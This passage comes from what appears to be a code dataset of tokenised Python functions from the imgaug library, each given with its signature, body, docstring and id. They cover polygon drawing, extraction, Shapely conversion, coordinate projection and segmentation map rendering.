`color_face`, `color_lines` and `color_points`\n    will be derived from this color if they are set to ``None``.\n    This argument has no effect if `color_face`, `color_lines`\n    and `color_points` are all set anything other than ``None``.\n\ncolor_face : None or iterable of int, optional\n    The color to use for the inner polygon area (excluding perimeter).\n    Must correspond to the channel layout of the image. Usually RGB.\n    If this is ``None``, it will be derived from ``color * 1.0``.\n\ncolor_lines : None or iterable of int, optional\n    The color to use for the line (aka perimeter/border) of the polygon.\n    Must correspond to the channel layout of the image. Usually RGB.\n    If this is ``None``, it will be derived from ``color * 0.5``.\n\ncolor_points : None or iterable of int, optional\n    The color to use for the corner points of the polygon.\n    Must correspond to the channel layout of the image. Usually RGB.\n    If this is ``None``, it will be derived from ``color * 0.5``.\n\nalpha : float, optional\n    The opacity of the whole polygon, where ``1.0`` denotes a completely\n    visible polygon and ``0.0`` an invisible one.\n    The values for `alpha_face`, `alpha_lines` and `alpha_points`\n    will be derived from this alpha value if they are set to ``None``.\n    This argument has no effect if `alpha_face`, `alpha_lines`\n    and `alpha_points` are all set anything other than ``None``.\n\nalpha_face : None or number, optional\n    The opacity of the polygon's inner area (excluding the perimeter),\n    where ``1.0`` denotes a completely visible inner area and ``0.0``\n    an invisible one.\n    If this is ``None``, it will be derived from ``alpha * 0.5``.\n\nalpha_lines : None or number, optional\n    The opacity of the polygon's line (aka perimeter/border),\n    where ``1.0`` denotes a completely visible line and ``0.0`` an\n    invisible one.\n    If this is ``None``, it will be derived from ``alpha * 1.0``.\n\nalpha_points : None or number, optional\n    The opacity of the polygon's corner points, where ``1.0`` denotes\n    completely visible corners and ``0.0`` invisible ones.\n    If this is ``None``, it will be derived from ``alpha * 1.0``.\n\nsize : int, optional\n    Size of the polygon.\n    The sizes of the line and points are derived from this value,\n    unless they are set.\n\nsize_lines : None or int, optional\n    Thickness of the polygon's line (aka perimeter/border).\n    If ``None``, this value is derived from `size`.\n\nsize_points : int, optional\n    Size of the points in pixels.\n    If ``None``, this value is derived from ``3 * size``.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the polygon is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nresult : (H,W,C) ndarray\n    Image with polygon drawn on it. Result dtype is the same as the input dtype.", "id": "f16281:c0:m17"}
{"signature": "def extract_from_image(self, image):", "body": "ia.do_assert(image.ndim in [<NUM_LIT:2>, <NUM_LIT:3>])<EOL>if len(self.exterior) <= <NUM_LIT:2>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>bb = self.to_bounding_box()<EOL>bb_area = bb.extract_from_image(image)<EOL>if self.is_out_of_image(image, fully=True, partly=False):<EOL><INDENT>return bb_area<EOL><DEDENT>xx = self.xx_int<EOL>yy = self.yy_int<EOL>xx_mask = xx - np.min(xx)<EOL>yy_mask = yy - np.min(yy)<EOL>height_mask = np.max(yy_mask)<EOL>width_mask = np.max(xx_mask)<EOL>rr_face, cc_face = skimage.draw.polygon(yy_mask, xx_mask, shape=(height_mask, width_mask))<EOL>mask = np.zeros((height_mask, width_mask), dtype=np.bool)<EOL>mask[rr_face, cc_face] = True<EOL>if image.ndim == <NUM_LIT:3>:<EOL><INDENT>mask = np.tile(mask[:, :, np.newaxis], (<NUM_LIT:1>, <NUM_LIT:1>, image.shape[<NUM_LIT:2>]))<EOL><DEDENT>return bb_area * mask<EOL>", "docstring": "Extract the image pixels within the polygon.\n\nThis function will zero-pad the image if the polygon is partially/fully outside of\nthe image.\n\nParameters\n----------\nimage : (H,W) ndarray or (H,W,C) ndarray\n    The image from which to extract the pixels within the polygon.\n\nReturns\n-------\nresult : (H',W') ndarray or (H',W',C) ndarray\n    Pixels within the polygon. Zero-padded if the polygon is partially/fully\n    outside of the image.", "id": "f16281:c0:m18"}
{"signature": "def change_first_point_by_coords(self, x, y, max_distance=<NUM_LIT>,<EOL>raise_if_too_far_away=True):", "body": "if len(self.exterior) == <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>closest_idx, closest_dist = self.find_closest_point_index(x=x, y=y, return_distance=True)<EOL>if max_distance is not None and closest_dist > max_distance:<EOL><INDENT>if not raise_if_too_far_away:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>closest_point = self.exterior[closest_idx, :]<EOL>raise Exception(<EOL>\"<STR_LIT>\" % (<EOL>closest_point[<NUM_LIT:0>], closest_point[<NUM_LIT:1>], closest_dist)<EOL>)<EOL><DEDENT>return self.change_first_point_by_index(closest_idx)<EOL>", "docstring": "Set the first point of the exterior to the given point based on its coordinates.\n\nIf multiple points are found, the closest one will be picked.\nIf no matching points are found, an exception is raised.\n\nNote: This method does *not* work in-place.\n\nParameters\n----------\nx : number\n    X-coordinate of the point.\n\ny : number\n    Y-coordinate of the point.\n\nmax_distance : None or number, optional\n    Maximum distance past which possible matches are ignored.\n    If ``None`` the distance limit is deactivated.\n\nraise_if_too_far_away : bool, optional\n    Whether to raise an exception if the closest found point is too\n    far away (``True``) or simply return an unchanged copy if this\n    object (``False``).\n\nReturns\n-------\nimgaug.Polygon\n    Copy of this polygon with the new point order.", "id": "f16281:c0:m19"}
{"signature": "def change_first_point_by_index(self, point_idx):", "body": "ia.do_assert(<NUM_LIT:0> <= point_idx < len(self.exterior))<EOL>if point_idx == <NUM_LIT:0>:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>exterior = np.concatenate(<EOL>(self.exterior[point_idx:, :], self.exterior[:point_idx, :]),<EOL>axis=<NUM_LIT:0><EOL>)<EOL>return self.deepcopy(exterior=exterior)<EOL>", "docstring": "Set the first point of the exterior to the given point based on its index.\n\nNote: This method does *not* work in-place.\n\nParameters\n----------\npoint_idx : int\n    Index of the desired starting point.\n\nReturns\n-------\nimgaug.Polygon\n    Copy of this polygon with the new point order.", "id": "f16281:c0:m20"}
{"signature": "def to_shapely_polygon(self):", "body": "<EOL>import shapely.geometry<EOL>return shapely.geometry.Polygon([(point[<NUM_LIT:0>], point[<NUM_LIT:1>]) for point in self.exterior])<EOL>", "docstring": "Convert this polygon to a Shapely polygon.\n\nReturns\n-------\nshapely.geometry.Polygon\n    The Shapely polygon matching this polygon's exterior.", "id": "f16281:c0:m21"}
{"signature": "def to_shapely_line_string(self, closed=False, interpolate=<NUM_LIT:0>):", "body": "return _convert_points_to_shapely_line_string(self.exterior, closed=closed, interpolate=interpolate)<EOL>", "docstring": "Convert this polygon to a Shapely LineString object.\n\nParameters\n----------\nclosed : bool, optional\n    Whether to return the line string with the last point being identical to the first point.\n\ninterpolate : int, optional\n    Number of points to interpolate between any pair of two consecutive points. These points are added\n    to the final line string.\n\nReturns\n-------\nshapely.geometry.LineString\n    The Shapely LineString matching the polygon's exterior.", "id": "f16281:c0:m22"}
{"signature": "def to_bounding_box(self):", "body": "<EOL>from imgaug.augmentables.bbs import BoundingBox<EOL>xx = self.xx<EOL>yy = self.yy<EOL>return BoundingBox(x1=min(xx), x2=max(xx), y1=min(yy), y2=max(yy), label=self.label)<EOL>", "docstring": "Convert this polygon to a bounding box tightly containing the whole polygon.\n\nReturns\n-------\nimgaug.BoundingBox\n    Tight bounding box around the polygon.", "id": "f16281:c0:m23"}
{"signature": "def to_keypoints(self):", "body": "<EOL>from imgaug.augmentables.kps import Keypoint<EOL>return [Keypoint(x=point[<NUM_LIT:0>], y=point[<NUM_LIT:1>]) for point in self.exterior]<EOL>", "docstring": "Convert this polygon's `exterior` to ``Keypoint`` instances.\n\nReturns\n-------\nlist of imgaug.Keypoint\n    Exterior vertices as ``Keypoint`` instances.", "id": "f16281:c0:m24"}
{"signature": "def to_line_string(self, closed=True):", "body": "from imgaug.augmentables.lines import LineString<EOL>if not closed or len(self.exterior) <= <NUM_LIT:1>:<EOL><INDENT>return LineString(self.exterior, label=self.label)<EOL><DEDENT>return LineString(<EOL>np.concatenate([self.exterior, self.exterior[<NUM_LIT:0>:<NUM_LIT:1>, :]], axis=<NUM_LIT:0>),<EOL>label=self.label)<EOL>", "docstring": "Convert this polygon's `exterior` to a ``LineString`` instance.\n\nParameters\n----------\nclosed : bool, optional\n    Whether to close the line string, i.e. to add the first point of\n    the `exterior` also as the last point at the end of the line string.\n    This has no effect if the polygon has a single point or zero\n    points.\n\nReturns\n-------\nimgaug.augmentables.lines.LineString\n    Exterior of the polygon as a line string.", "id": "f16281:c0:m25"}
{"signature": "@staticmethod<EOL><INDENT>def from_shapely(polygon_shapely, label=None):<DEDENT>", "body": "<EOL>import shapely.geometry<EOL>ia.do_assert(isinstance(polygon_shapely, shapely.geometry.Polygon))<EOL>if polygon_shapely.exterior is None or len(polygon_shapely.exterior.coords) == <NUM_LIT:0>:<EOL><INDENT>return Polygon([], label=label)<EOL><DEDENT>exterior = np.float32([[x, y] for (x, y) in polygon_shapely.exterior.coords])<EOL>return Polygon(exterior, label=label)<EOL>", "docstring": "Create a polygon from a Shapely polygon.\n\nNote: This will remove any holes in the Shapely polygon.\n\nParameters\n----------\npolygon_shapely : shapely.geometry.Polygon\n     The shapely polygon.\n\nlabel : None or str, optional\n    The label of the new polygon.\n\nReturns\n-------\nimgaug.Polygon\n    A polygon with the same exterior as the Shapely polygon.", "id": "f16281:c0:m26"}
{"signature": "def exterior_almost_equals(self, other, max_distance=<NUM_LIT>, points_per_edge=<NUM_LIT:8>):", "body": "if isinstance(other, list):<EOL><INDENT>other = Polygon(np.float32(other))<EOL><DEDENT>elif ia.is_np_array(other):<EOL><INDENT>other = Polygon(other)<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(other, Polygon)<EOL>other = other<EOL><DEDENT>return self.to_line_string(closed=True).coords_almost_equals(<EOL>other.to_line_string(closed=True),<EOL>max_distance=max_distance,<EOL>points_per_edge=points_per_edge<EOL>)<EOL>", "docstring": "Estimate if this and other polygon's exterior are almost identical.\n\nThe two exteriors can have different numbers of points, but any point\nrandomly sampled on the exterior of one polygon should be close to the\nclosest point on the exterior of the other polygon.\n\nNote that this method works approximately. One can come up with\npolygons with fairly different shapes that will still be estimated as\nequal by this method. In practice however this should be unlikely to be\nthe case. The probability for something like that goes down as the\ninterpolation parameter is increased.\n\nParameters\n----------\nother : imgaug.Polygon or (N,2) ndarray or list of tuple\n    The other polygon with which to compare the exterior.\n    If this is an ndarray, it is assumed to represent an exterior.\n    It must then have dtype ``float32`` and shape ``(N,2)`` with the\n    second dimension denoting xy-coordinates.\n    If this is a list of tuples, it is assumed to represent an exterior.\n    Each tuple then must contain exactly two numbers, denoting\n    xy-coordinates.\n\nmax_distance : number, optional\n    The maximum euclidean distance between a point on one polygon and\n    the closest point on the other polygon. If the distance is exceeded\n    for any such pair, the two exteriors are not viewed as equal. The\n    points are other the points contained in the polygon's exterior\n    ndarray or interpolated points between these.\n\npoints_per_edge : int, optional\n    How many points to interpolate on each edge.\n\nReturns\n-------\nbool\n    Whether the two polygon's exteriors can be viewed as equal\n    (approximate test).", "id": "f16281:c0:m27"}
{"signature": "def almost_equals(self, other, max_distance=<NUM_LIT>, points_per_edge=<NUM_LIT:8>):", "body": "if not isinstance(other, Polygon):<EOL><INDENT>return False<EOL><DEDENT>if self.label is not None or other.label is not None:<EOL><INDENT>if self.label is None:<EOL><INDENT>return False<EOL><DEDENT>if other.label is None:<EOL><INDENT>return False<EOL><DEDENT>if self.label != other.label:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return self.exterior_almost_equals(<EOL>other, max_distance=max_distance, points_per_edge=points_per_edge)<EOL>", "docstring": "Estimate if this polygon's and another's geometry/labels are similar.\n\nThis is the same as :func:`imgaug.Polygon.exterior_almost_equals` but\nadditionally compares the labels.\n\nParameters\n----------\nother\n    The object to compare against. If not a Polygon, then False will\n    be returned.\n\nmax_distance : float, optional\n    See :func:`imgaug.augmentables.polys.Polygon.exterior_almost_equals`.\n\npoints_per_edge : int, optional\n    See :func:`imgaug.augmentables.polys.Polygon.exterior_almost_equals`.\n\nReturns\n-------\nbool\n    Whether the two polygons can be viewed as equal. In the case of\n    the exteriors this is an approximate test.", "id": "f16281:c0:m28"}
{"signature": "def copy(self, exterior=None, label=None):", "body": "return self.deepcopy(exterior=exterior, label=label)<EOL>", "docstring": "Create a shallow copy of the Polygon object.\n\nParameters\n----------\nexterior : list of imgaug.Keypoint or list of tuple or (N,2) ndarray, optional\n    List of points defining the polygon. See :func:`imgaug.Polygon.__init__` for details.\n\nlabel : None or str, optional\n    If not None, then the label of the copied object will be set to this value.\n\nReturns\n-------\nimgaug.Polygon\n    Shallow copy.", "id": "f16281:c0:m29"}
{"signature": "def deepcopy(self, exterior=None, label=None):", "body": "return Polygon(<EOL>exterior=np.copy(self.exterior) if exterior is None else exterior,<EOL>label=self.label if label is None else label<EOL>)<EOL>", "docstring": "Create a deep copy of the Polygon object.\n\nParameters\n----------\nexterior : list of Keypoint or list of tuple or (N,2) ndarray, optional\n    List of points defining the polygon. See `imgaug.Polygon.__init__` for details.\n\nlabel : None or str\n    If not None, then the label of the copied object will be set to this value.\n\nReturns\n-------\nimgaug.Polygon\n    Deep copy.", "id": "f16281:c0:m30"}
{"signature": "@property<EOL><INDENT>def empty(self):<DEDENT>", "body": "return len(self.polygons) == <NUM_LIT:0><EOL>", "docstring": "Returns whether this object contains zero polygons.\n\nReturns\n-------\nbool\n    True if this object contains zero polygons.", "id": "f16281:c1:m1"}
{"signature": "def on(self, image):", "body": "shape = normalize_shape(image)<EOL>if shape[<NUM_LIT:0>:<NUM_LIT:2>] == self.shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>polygons = [poly.project(self.shape, shape) for poly in self.polygons]<EOL>return PolygonsOnImage(polygons, shape)<EOL>", "docstring": "Project polygons from one image to a new one.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    New image onto which the polygons are to be projected.\n    May also simply be that new image's shape tuple.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Object containing all projected polygons.", "id": "f16281:c1:m2"}
{"signature": "def draw_on_image(self,<EOL>image,<EOL>color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), color_face=None,<EOL>color_lines=None, color_points=None,<EOL>alpha=<NUM_LIT:1.0>, alpha_face=None,<EOL>alpha_lines=None, alpha_points=None,<EOL>size=<NUM_LIT:1>, size_lines=None, size_points=None,<EOL>raise_if_out_of_image=False):", "body": "for poly in self.polygons:<EOL><INDENT>image = poly.draw_on_image(<EOL>image,<EOL>color=color,<EOL>color_face=color_face,<EOL>color_lines=color_lines,<EOL>color_points=color_points,<EOL>alpha=alpha,<EOL>alpha_face=alpha_face,<EOL>alpha_lines=alpha_lines,<EOL>alpha_points=alpha_points,<EOL>size=size,<EOL>size_lines=size_lines,<EOL>size_points=size_points,<EOL>raise_if_out_of_image=raise_if_out_of_image<EOL>)<EOL><DEDENT>return image<EOL>", "docstring": "Draw all polygons onto a given image.\n\nParameters\n----------\nimage : (H,W,C) ndarray\n    The image onto which to draw the bounding boxes.\n    This image should usually have the same shape as set in\n    ``PolygonsOnImage.shape``.\n\ncolor : iterable of int, optional\n    The color to use for the whole polygons.\n    Must correspond to the channel layout of the image. Usually RGB.\n    The values for `color_face`, `color_lines` and `color_points`\n    will be derived from this color if they are set to ``None``.\n    This argument has no effect if `color_face`, `color_lines`\n    and `color_points` are all set anything other than ``None``.\n\ncolor_face : None or iterable of int, optional\n    The color to use for the inner polygon areas (excluding perimeters).\n    Must correspond to the channel layout of the image. Usually RGB.\n    If this is ``None``, it will be derived from ``color * 1.0``.\n\ncolor_lines : None or iterable of int, optional\n    The color to use for the lines (aka perimeters/borders) of the\n    polygons. Must correspond to the channel layout of the image.\n    Usually RGB. If this is ``None``, it will be derived\n    from ``color * 0.5``.\n\ncolor_points : None or iterable of int, optional\n    The color to use for the corner points of the polygons.\n    Must correspond to the channel layout of the image. Usually RGB.\n    If this is ``None``, it will be derived from ``color * 0.5``.\n\nalpha : float, optional\n    The opacity of the whole polygons, where ``1.0`` denotes\n    completely visible polygons and ``0.0`` invisible ones.\n    The values for `alpha_face`, `alpha_lines` and `alpha_points`\n    will be derived from this alpha value if they are set to ``None``.\n    This argument has no effect if `alpha_face`, `alpha_lines`\n    and `alpha_points` are all set anything other than ``None``.\n\nalpha_face : None or number, optional\n    The opacity of the polygon's inner areas (excluding the perimeters),\n    where ``1.0`` denotes completely visible inner areas and ``0.0``\n    invisible ones.\n    If this is ``None``, it will be derived from ``alpha * 0.5``.\n\nalpha_lines : None or number, optional\n    The opacity of the polygon's lines (aka perimeters/borders),\n    where ``1.0`` denotes completely visible perimeters and ``0.0``\n    invisible ones.\n    If this is ``None``, it will be derived from ``alpha * 1.0``.\n\nalpha_points : None or number, optional\n    The opacity of the polygon's corner points, where ``1.0`` denotes\n    completely visible corners and ``0.0`` invisible ones.\n    Currently this is an on/off choice, i.e. only ``0.0`` or ``1.0``\n    are allowed.\n    If this is ``None``, it will be derived from ``alpha * 1.0``.\n\nsize : int, optional\n    Size of the polygons.\n    The sizes of the line and points are derived from this value,\n    unless they are set.\n\nsize_lines : None or int, optional\n    Thickness of the polygon lines (aka perimeter/border).\n    If ``None``, this value is derived from `size`.\n\nsize_points : int, optional\n    The size of all corner points. If set to ``C``, each corner point\n    will be drawn as a square of size ``C x C``.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if any polygon is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nimage : (H,W,C) ndarray\n    Image with drawn polygons.", "id": "f16281:c1:m3"}
{"signature": "def remove_out_of_image(self, fully=True, partly=False):", "body": "polys_clean = [<EOL>poly for poly in self.polygons<EOL>if not poly.is_out_of_image(self.shape, fully=fully, partly=partly)<EOL>]<EOL>return PolygonsOnImage(polys_clean, shape=self.shape)<EOL>", "docstring": "Remove all polygons that are fully or partially outside of the image.\n\nParameters\n----------\nfully : bool, optional\n    Whether to remove polygons that are fully outside of the image.\n\npartly : bool, optional\n    Whether to remove polygons that are partially outside of the image.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Reduced set of polygons, with those that were fully/partially\n    outside of the image removed.", "id": "f16281:c1:m4"}
{"signature": "def clip_out_of_image(self):", "body": "polys_cut = [<EOL>poly.clip_out_of_image(self.shape)<EOL>for poly<EOL>in self.polygons<EOL>if poly.is_partly_within_image(self.shape)<EOL>]<EOL>polys_cut_flat = [poly for poly_lst in polys_cut for poly in poly_lst]<EOL>return PolygonsOnImage(polys_cut_flat, shape=self.shape)<EOL>", "docstring": "Clip off all parts from all polygons that are outside of the image.\n\nNOTE: The result can contain less polygons than the input did. That\nhappens when a polygon is fully outside of the image plane.\n\nNOTE: The result can also contain *more* polygons than the input\ndid. That happens when distinct parts of a polygon are only\nconnected by areas that are outside of the image plane and hence will\nbe clipped off, resulting in two or more unconnected polygon parts that\nare left in the image plane.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Polygons, clipped to fall within the image dimensions. Count of\n    output polygons may differ from the input count.", "id": "f16281:c1:m5"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "polys_new = [<EOL>poly.shift(top=top, right=right, bottom=bottom, left=left)<EOL>for poly<EOL>in self.polygons<EOL>]<EOL>return PolygonsOnImage(polys_new, shape=self.shape)<EOL>", "docstring": "Shift all polygons from one or more image sides, i.e. move them on the x/y-axis.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift all polygons from the top.\n\nright : None or int, optional\n    Amount of pixels by which to shift all polygons from the right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift all polygons from the bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift all polygons from the left.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Shifted polygons.", "id": "f16281:c1:m6"}
{"signature": "def copy(self):", "body": "return copy.copy(self)<EOL>", "docstring": "Create a shallow copy of the PolygonsOnImage object.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Shallow copy.", "id": "f16281:c1:m7"}
{"signature": "def deepcopy(self):", "body": "<EOL>polys = [poly.deepcopy() for poly in self.polygons]<EOL>return PolygonsOnImage(polys, tuple(self.shape))<EOL>", "docstring": "Create a deep copy of the PolygonsOnImage object.\n\nReturns\n-------\nimgaug.PolygonsOnImage\n    Deep copy.", "id": "f16281:c1:m8"}
{"signature": "def __init__(self, geoms):", "body": "ia.do_assert(len(geoms) == <NUM_LIT:0> or all([isinstance(el, Polygon) for el in geoms]))<EOL>self.geoms = geoms<EOL>", "docstring": "Create a new MultiPolygon instance.", "id": "f16281:c3:m0"}
{"signature": "@staticmethod<EOL><INDENT>def from_shapely(geometry, label=None):<DEDENT>", "body": "<EOL>import shapely.geometry<EOL>if isinstance(geometry, shapely.geometry.MultiPolygon):<EOL><INDENT>return MultiPolygon([Polygon.from_shapely(poly, label=label) for poly in geometry.geoms])<EOL><DEDENT>elif isinstance(geometry, shapely.geometry.Polygon):<EOL><INDENT>return MultiPolygon([Polygon.from_shapely(geometry, label=label)])<EOL><DEDENT>elif isinstance(geometry, shapely.geometry.collection.GeometryCollection):<EOL><INDENT>ia.do_assert(all([isinstance(poly, shapely.geometry.Polygon) for poly in geometry.geoms]))<EOL>return MultiPolygon([Polygon.from_shapely(poly, label=label) for poly in geometry.geoms])<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(geometry),))<EOL><DEDENT>", "docstring": "Create a MultiPolygon from a Shapely MultiPolygon, a Shapely Polygon or a Shapely GeometryCollection.\n\nThis also creates all necessary Polygons contained by this MultiPolygon.\n\nParameters\n----------\ngeometry : shapely.geometry.MultiPolygon or shapely.geometry.Polygon\\\n           or shapely.geometry.collection.GeometryCollection\n    The object to convert to a MultiPolygon.\n\nlabel : None or str, optional\n    A label assigned to all Polygons within the MultiPolygon.\n\nReturns\n-------\nimgaug.MultiPolygon\n    The derived MultiPolygon.", "id": "f16281:c3:m1"}
{"signature": "def normalize_shape(shape):", "body": "if isinstance(shape, tuple):<EOL><INDENT>return shape<EOL><DEDENT>assert ia.is_np_array(shape), (<EOL>\"<STR_LIT>\" % (type(shape),))<EOL>return shape.shape<EOL>", "docstring": "Normalize a shape tuple or array to a shape tuple.\n\nParameters\n----------\nshape : tuple of int or ndarray\n    The input to normalize. May optionally be an array.\n\nReturns\n-------\ntuple of int\n    Shape tuple.", "id": "f16282:m0"}
{"signature": "def project_coords(coords, from_shape, to_shape):", "body": "from_shape = normalize_shape(from_shape)<EOL>to_shape = normalize_shape(to_shape)<EOL>if from_shape[<NUM_LIT:0>:<NUM_LIT:2>] == to_shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return coords<EOL><DEDENT>from_height, from_width = from_shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>to_height, to_width = to_shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>assert all([v > <NUM_LIT:0> for v in [from_height, from_width, to_height, to_width]])<EOL>coords_proj = np.array(coords).astype(np.float32)<EOL>coords_proj[:, <NUM_LIT:0>] = (coords_proj[:, <NUM_LIT:0>] / from_width) * to_width<EOL>coords_proj[:, <NUM_LIT:1>] = (coords_proj[:, <NUM_LIT:1>] / from_height) * to_height<EOL>return coords_proj<EOL>", "docstring": "Project coordinates from one image shape to another.\n\nThis performs a relative projection, e.g. a point at 60% of the old\nimage width will be at 60% of the new image width after projection.\n\nParameters\n----------\ncoords : ndarray or tuple of number\n    Coordinates to project. Either a ``(N,2)`` numpy array or a tuple\n    of `(x,y)` coordinates.\n\nfrom_shape : tuple of int or ndarray\n    Old image shape.\n\nto_shape : tuple of int or ndarray\n    New image shape.\n\nReturns\n-------\nndarray\n    Projected coordinates as ``(N,2)`` ``float32`` numpy array.", "id": "f16282:m1"}
{"signature": "def get_arr_int(self, background_threshold=<NUM_LIT>, background_class_id=None):", "body": "if self.input_was[<NUM_LIT:0>] in [\"<STR_LIT:bool>\", \"<STR_LIT:float>\"]:<EOL><INDENT>ia.do_assert(background_class_id is None,<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\")<EOL><DEDENT>if background_class_id is None:<EOL><INDENT>background_class_id = <NUM_LIT:0><EOL><DEDENT>channelwise_max_idx = np.argmax(self.arr, axis=<NUM_LIT:2>)<EOL>if self.input_was[<NUM_LIT:0>] in [\"<STR_LIT:bool>\", \"<STR_LIT:float>\"]:<EOL><INDENT>result = <NUM_LIT:1> + channelwise_max_idx<EOL><DEDENT>else:  <EOL><INDENT>result = channelwise_max_idx<EOL><DEDENT>if background_threshold is not None and background_threshold > <NUM_LIT:0>:<EOL><INDENT>probs = np.amax(self.arr, axis=<NUM_LIT:2>)<EOL>result[probs < background_threshold] = background_class_id<EOL><DEDENT>return result.astype(np.int32)<EOL>", "docstring": "Get the segmentation map array as an integer array of shape (H, W).\n\nEach pixel in that array contains an integer value representing the pixel's class.\nIf multiple classes overlap, the one with the highest local float value is picked.\nIf that highest local value is below `background_threshold`, the method instead uses\nthe background class id as the pixel's class value.\nBy default, class id 0 is the background class. This may only be changed if the original\ninput to the segmentation map object was an integer map.\n\nParameters\n----------\nbackground_threshold : float, optional\n    At each pixel, each class-heatmap has a value between 0.0 and 1.0. If none of the\n    class-heatmaps has a value above this threshold, the method uses the background class\n    id instead.\n\nbackground_class_id : None or int, optional\n    Class id to fall back to if no class-heatmap passes the threshold at a spatial\n    location. May only be provided if the original input was an integer mask and in these\n    cases defaults to 0. If the input were float or boolean masks, the background class id\n    may not be set as it is assumed that the background is implicitly defined\n    as 'any spatial location that has zero-like values in all masks'.\n\nReturns\n-------\nresult : (H,W) ndarray\n    Segmentation map array (int32).\n    If the original input consisted of boolean or float masks, then the highest possible\n    class id is ``1+C``, where ``C`` is the number of provided float/boolean masks. The value\n    ``0`` in the integer mask then denotes the background class.", "id": "f16283:c0:m1"}
{"signature": "def draw(self, size=None, background_threshold=<NUM_LIT>, background_class_id=None, colors=None,<EOL>return_foreground_mask=False):", "body": "arr = self.get_arr_int(background_threshold=background_threshold, background_class_id=background_class_id)<EOL>nb_classes = <NUM_LIT:1> + np.max(arr)<EOL>segmap_drawn = np.zeros((arr.shape[<NUM_LIT:0>], arr.shape[<NUM_LIT:1>], <NUM_LIT:3>), dtype=np.uint8)<EOL>if colors is None:<EOL><INDENT>colors = SegmentationMapOnImage.DEFAULT_SEGMENT_COLORS<EOL><DEDENT>ia.do_assert(nb_classes <= len(colors),<EOL>\"<STR_LIT>\" % (<EOL>nb_classes, len(colors),))<EOL>ids_in_map = np.unique(arr)<EOL>for c, color in zip(sm.xrange(nb_classes), colors):<EOL><INDENT>if c in ids_in_map:<EOL><INDENT>class_mask = (arr == c)<EOL>segmap_drawn[class_mask] = color<EOL><DEDENT><DEDENT>if return_foreground_mask:<EOL><INDENT>background_class_id = <NUM_LIT:0> if background_class_id is None else background_class_id<EOL>foreground_mask = (arr != background_class_id)<EOL><DEDENT>else:<EOL><INDENT>foreground_mask = None<EOL><DEDENT>if size is not None:<EOL><INDENT>segmap_drawn = ia.imresize_single_image(segmap_drawn, size, interpolation=\"<STR_LIT>\")<EOL>if foreground_mask is not None:<EOL><INDENT>foreground_mask = ia.imresize_single_image(<EOL>foreground_mask.astype(np.uint8), size, interpolation=\"<STR_LIT>\") > <NUM_LIT:0><EOL><DEDENT><DEDENT>if foreground_mask is not None:<EOL><INDENT>return segmap_drawn, foreground_mask<EOL><DEDENT>return segmap_drawn<EOL>", "docstring": "Render the segmentation map as an RGB image.\n\nParameters\n----------\nsize : None or float or iterable of int or iterable of float, optional\n    Size of the rendered RGB image as ``(height, width)``.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n    If set to None, no resizing is performed and the size of the segmentation map array is used.\n\nbackground_threshold : float, optional\n    See :func:`imgaug.SegmentationMapOnImage.get_arr_int`.\n\nbackground_class_id : None or int, optional\n    See :func:`imgaug.SegmentationMapOnImage.get_arr_int`.\n\ncolors : None or list of tuple of int, optional\n    Colors to use. One for each class to draw. If None, then default colors will be used.\n\nreturn_foreground_mask : bool, optional\n    Whether to return a mask of the same size as the drawn segmentation map, containing\n    True at any spatial location that is not the background class and False everywhere else.\n\nReturns\n-------\nsegmap_drawn : (H,W,3) ndarray\n    Rendered segmentation map (dtype is uint8).\n\nforeground_mask : (H,W) ndarray\n    Mask indicating the locations of foreground classes (dtype is bool).\n    This value is only returned if `return_foreground_mask` is True.", "id": "f16283:c0:m2"}
{"signature": "def draw_on_image(self, image, alpha=<NUM_LIT>, resize=\"<STR_LIT>\", background_threshold=<NUM_LIT>,<EOL>background_class_id=None, colors=None, draw_background=False):", "body": "<EOL>ia.do_assert(image.ndim == <NUM_LIT:3>)<EOL>ia.do_assert(image.shape[<NUM_LIT:2>] == <NUM_LIT:3>)<EOL>ia.do_assert(image.dtype.type == np.uint8)<EOL>ia.do_assert(<NUM_LIT:0> - <NUM_LIT> <= alpha <= <NUM_LIT:1.0> + <NUM_LIT>)<EOL>ia.do_assert(resize in [\"<STR_LIT>\", \"<STR_LIT:image>\"])<EOL>if resize == \"<STR_LIT:image>\":<EOL><INDENT>image = ia.imresize_single_image(image, self.arr.shape[<NUM_LIT:0>:<NUM_LIT:2>], interpolation=\"<STR_LIT>\")<EOL><DEDENT>segmap_drawn, foreground_mask = self.draw(<EOL>background_threshold=background_threshold,<EOL>background_class_id=background_class_id,<EOL>size=image.shape[<NUM_LIT:0>:<NUM_LIT:2>] if resize == \"<STR_LIT>\" else None,<EOL>colors=colors,<EOL>return_foreground_mask=True<EOL>)<EOL>if draw_background:<EOL><INDENT>mix = np.clip(<EOL>(<NUM_LIT:1>-alpha) * image + alpha * 